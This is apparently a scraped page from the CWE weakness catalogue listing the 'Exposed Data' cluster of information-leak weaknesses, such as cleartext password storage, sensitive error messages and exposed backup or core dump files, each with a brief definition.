888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 209 (Generation of Error Message Containing Sensitive Information)
The product generates an error message that includes sensitive information about its environment, users, or associated data.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Self-generated Error Message Containing Sensitive Information - (210)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 210 (Self-generated Error Message Containing Sensitive Information)
The product identifies an error condition and creates its own diagnostic or error messages that contain sensitive information.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Externally-Generated Error Message Containing Sensitive Information - (211)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 211 (Externally-Generated Error Message Containing Sensitive Information)
The product performs an operation that triggers an external diagnostic or error message that is not directly generated or controlled by the product, such as an error generated by the programming language interpreter that a software application uses. The error can contain sensitive system information.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Removal of Sensitive Information Before Storage or Transfer - (212)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 212 (Improper Removal of Sensitive Information Before Storage or Transfer)
The product stores, transfers, or shares a resource that contains sensitive information, but it does not properly remove that information before the product makes the resource available to unauthorized actors.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Exposure of Sensitive Information Due to Incompatible Policies - (213)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 213 (Exposure of Sensitive Information Due to Incompatible Policies)
The product's intended functionality exposes information to certain actors in accordance with the developer's security policy, but this information is regarded as sensitive according to the intended security policies of other stakeholders such as the product's administrator, users, or others whose information is being processed.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Invocation of Process Using Visible Sensitive Information - (214)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 214 (Invocation of Process Using Visible Sensitive Information)
A process is invoked with sensitive command-line arguments, environment variables, or other elements that can be seen by other processes on the operating system.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Insertion of Sensitive Information Into Debugging Code - (215)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 215 (Insertion of Sensitive Information Into Debugging Code)
The product inserts sensitive information into debugging code, which could expose this information if the debugging code is not disabled in production.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Storage of File with Sensitive Data Under Web Root - (219)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 219 (Storage of File with Sensitive Data Under Web Root)
The product stores sensitive data under the web document root with insufficient access control, which might make it accessible to untrusted parties.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Storage of File With Sensitive Data Under FTP Root - (220)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 220 (Storage of File With Sensitive Data Under FTP Root)
The product stores sensitive data under the FTP server root with insufficient access control, which might make it accessible to untrusted parties.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Sensitive Information in Resource Not Removed Before Reuse - (226)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 226 (Sensitive Information in Resource Not Removed Before Reuse)
The product releases a resource such as memory or a file so that it can be made available for reuse, but it does not clear or "zeroize" the information contained in the resource before the product performs a critical state transition or makes the resource available for reuse by other entities.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Clearing of Heap Memory Before Release ('Heap Inspection') - (244)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 244 (Improper Clearing of Heap Memory Before Release ('Heap Inspection'))
Using realloc() to resize buffers that store sensitive information can leave the sensitive information exposed to attack, because it is not removed from memory.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Plaintext Storage of a Password - (256)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 256 (Plaintext Storage of a Password)
Storing a password in plaintext may result in a system compromise.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Storing Passwords in a Recoverable Format - (257)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 257 (Storing Passwords in a Recoverable Format)
The storage of passwords in a recoverable format makes them subject to password reuse attacks by malicious users. In fact, it should be noted that recoverable encrypted passwords provide no significant benefit over plaintext passwords since they are subject not only to reuse by malicious attackers but also by malicious insiders. If a system administrator can recover a password directly, or use a brute force search on the available information, the administrator can use the password on other accounts.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Password in Configuration File - (260)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 260 (Password in Configuration File)
The product stores a password in a configuration file that might be accessible to actors who do not know the password.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Missing Encryption of Sensitive Data - (311)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 311 (Missing Encryption of Sensitive Data)
The product does not encrypt sensitive or critical information before storage or transmission.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Cleartext Storage of Sensitive Information - (312)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 312 (Cleartext Storage of Sensitive Information)
The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Cleartext Storage in a File or on Disk - (313)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 313 (Cleartext Storage in a File or on Disk)
The product stores sensitive information in cleartext in a file, or on disk.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Cleartext Storage in the Registry - (314)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 314 (Cleartext Storage in the Registry)
The product stores sensitive information in cleartext in the registry.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Cleartext Storage of Sensitive Information in a Cookie - (315)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 315 (Cleartext Storage of Sensitive Information in a Cookie)
The product stores sensitive information in cleartext in a cookie.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Cleartext Storage of Sensitive Information in Memory - (316)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 316 (Cleartext Storage of Sensitive Information in Memory)
The product stores sensitive information in cleartext in memory.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Cleartext Storage of Sensitive Information in GUI - (317)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 317 (Cleartext Storage of Sensitive Information in GUI)
The product stores sensitive information in cleartext within the GUI.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Cleartext Storage of Sensitive Information in Executable - (318)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 318 (Cleartext Storage of Sensitive Information in Executable)
The product stores sensitive information in cleartext in an executable.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Cleartext Transmission of Sensitive Information - (319)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 319 (Cleartext Transmission of Sensitive Information)
The product transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Passing Mutable Objects to an Untrusted Method - (374)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 374 (Passing Mutable Objects to an Untrusted Method)
The product sends non-cloned mutable data as an argument to a method or function.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Returning a Mutable Object to an Untrusted Caller - (375)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 375 (Returning a Mutable Object to an Untrusted Caller)
Sending non-cloned mutable data as a return value may result in that data being altered or deleted by the calling function.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Transmission of Private Resources into a New Sphere ('Resource Leak') - (402)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 402 (Transmission of Private Resources into a New Sphere ('Resource Leak'))
The product makes resources available to untrusted parties when those resources are only intended to be accessed by the product.Resource Leak
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') - (403)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 403 (Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak'))
A process does not close sensitive file descriptors before invoking a child process, which allows the child to perform unauthorized I/O operations using those descriptors.File descriptor leak
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Unparsed Raw Web Content Delivery - (433)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 433 (Unparsed Raw Web Content Delivery)
The product stores raw content or supporting code under the web document root with an extension that is not specifically handled by the server.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Private Data Structure Returned From A Public Method - (495)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 495 (Private Data Structure Returned From A Public Method)
The product has a method that is declared public, but returns a reference to a private data structure, which could then be modified in unexpected ways.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Exposure of Sensitive System Information to an Unauthorized Control Sphere - (497)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 497 (Exposure of Sensitive System Information to an Unauthorized Control Sphere)
The product does not properly prevent sensitive system-level information from being accessed by unauthorized actors who do not have the same level of access to the underlying system as the product does.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Cloneable Class Containing Sensitive Information - (498)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 498 (Cloneable Class Containing Sensitive Information)
The code contains a class with sensitive data, but the class is cloneable. The data can then be accessed by cloning the class.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Serializable Class Containing Sensitive Data - (499)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 499 (Serializable Class Containing Sensitive Data)
The code contains a class with sensitive data, but the class does not explicitly deny serialization. The data can be accessed by serializing the class through another class.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.J2EE Misconfiguration: Data Transmission Without Encryption - (5)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 5 (J2EE Misconfiguration: Data Transmission Without Encryption)
Information sent over a network can be compromised while in transit. An attacker may be able to read or modify the contents if the data are sent in plaintext or are weakly encrypted.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Trust Boundary Violation - (501)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 501 (Trust Boundary Violation)
The product mixes trusted and untrusted data in the same data structure or structured message.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Insufficiently Protected Credentials - (522)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 522 (Insufficiently Protected Credentials)
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Unprotected Transport of Credentials - (523)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 523 (Unprotected Transport of Credentials)
Login pages do not use adequate measures to protect the user name and password while they are in transit from the client to the server.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Cleartext Storage of Sensitive Information in an Environment Variable - (526)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 526 (Cleartext Storage of Sensitive Information in an Environment Variable)
The product uses an environment variable to store unencrypted sensitive information.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Exposure of Version-Control Repository to an Unauthorized Control Sphere - (527)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 527 (Exposure of Version-Control Repository to an Unauthorized Control Sphere)
The product stores a CVS, git, or other repository in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Exposure of Core Dump File to an Unauthorized Control Sphere - (528)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 528 (Exposure of Core Dump File to an Unauthorized Control Sphere)
The product generates a core dump file in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Exposure of Access Control List Files to an Unauthorized Control Sphere - (529)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 529 (Exposure of Access Control List Files to an Unauthorized Control Sphere)
The product stores access control list files in a directory or other container that is accessible to actors outside of the intended control sphere.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Exposure of Backup File to an Unauthorized Control Sphere - (530)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 530 (Exposure of Backup File to an Unauthorized Control Sphere)
A backup file is stored in a directory or archive that is made accessible to unauthorized actors.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Insertion of Sensitive Information into Log File - (532)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 532 (Insertion of Sensitive Information into Log File)
Information written to log files can be of a sensitive nature and give valuable guidance to an attacker or expose sensitive user information.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Exposure of Information Through Shell Error Message - (535)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 535 (Exposure of Information Through Shell Error Message)
A command shell error message indicates that there exists an unhandled exception in the web application code. In many cases, an attacker can leverage the conditions that cause these errors in order to gain unauthorized access to the system.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Servlet Runtime Error Message Containing Sensitive Information - (536)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 536 (Servlet Runtime Error Message Containing Sensitive Information)
A servlet error message indicates that there exists an unhandled exception in your web application code and may provide useful information to an attacker.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Java Runtime Error Message Containing Sensitive Information - (537)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 537 (Java Runtime Error Message Containing Sensitive Information)
In many cases, an attacker can leverage the conditions that cause unhandled exception errors in order to gain unauthorized access to the system.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Insertion of Sensitive Information into Externally-Accessible File or Directory - (538)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 538 (Insertion of Sensitive Information into Externally-Accessible File or Directory)
The product places sensitive information into files or directories that are accessible to actors who are allowed to have access to the files, but not to the sensitive information.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Use of Persistent Cookies Containing Sensitive Information - (539)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 539 (Use of Persistent Cookies Containing Sensitive Information)
The web application uses persistent cookies, but the cookies contain sensitive information.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Inclusion of Sensitive Information in Source Code - (540)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 540 (Inclusion of Sensitive Information in Source Code)
Source code on a web server or repository often contains sensitive information and should generally not be accessible to users.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Inclusion of Sensitive Information in an Include File - (541)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 541 (Inclusion of Sensitive Information in an Include File)
If an include file source is accessible, the file can contain usernames and passwords, as well as sensitive information pertaining to the application and system.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Suspicious Comment - (546)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 546 (Suspicious Comment)
The code contains comments that suggest the presence of bugs, incomplete functionality, or weaknesses.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Exposure of Information Through Directory Listing - (548)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 548 (Exposure of Information Through Directory Listing)
A directory listing is inappropriately exposed, yielding potentially sensitive information to attackers.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Server-generated Error Message Containing Sensitive Information - (550)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 550 (Server-generated Error Message Containing Sensitive Information)
Certain conditions, such as network failure, will cause a server error message to be displayed.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Files or Directories Accessible to External Parties - (552)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 552 (Files or Directories Accessible to External Parties)
The product makes files or directories accessible to unauthorized actors, even though they should not be.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.J2EE Misconfiguration: Plaintext Password in Configuration File - (555)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 555 (J2EE Misconfiguration: Plaintext Password in Configuration File)
The J2EE application stores a plaintext password in a configuration file.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Sensitive Data Storage in Improperly Locked Memory - (591)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 591 (Sensitive Data Storage in Improperly Locked Memory)
The product stores sensitive data in memory that is not locked, or that has been incorrectly locked, which might cause the memory to be written to swap files on disk by the virtual memory manager. This can make the data more accessible to external actors.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Use of GET Request Method With Sensitive Query Strings - (598)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 598 (Use of GET Request Method With Sensitive Query Strings)
The web application uses the HTTP GET method to process a request and includes sensitive information in the query string of that request.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Public Static Final Field References Mutable Object - (607)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 607 (Public Static Final Field References Mutable Object)
A public or protected static final field references a mutable object, which allows the object to be changed by malicious code, or accidentally from another package.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Authorization of Index Containing Sensitive Information - (612)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 612 (Improper Authorization of Index Containing Sensitive Information)
The product creates a search index of private or sensitive documents, but it does not properly limit index access to actors who are authorized to see the original information.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Inclusion of Sensitive Information in Source Code Comments - (615)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 615 (Inclusion of Sensitive Information in Source Code Comments)
While adding general comments is very useful, some programmers tend to leave important data, such as: filenames related to the web application, old links or links which were not meant to be browsed by users, old code fragments, etc.
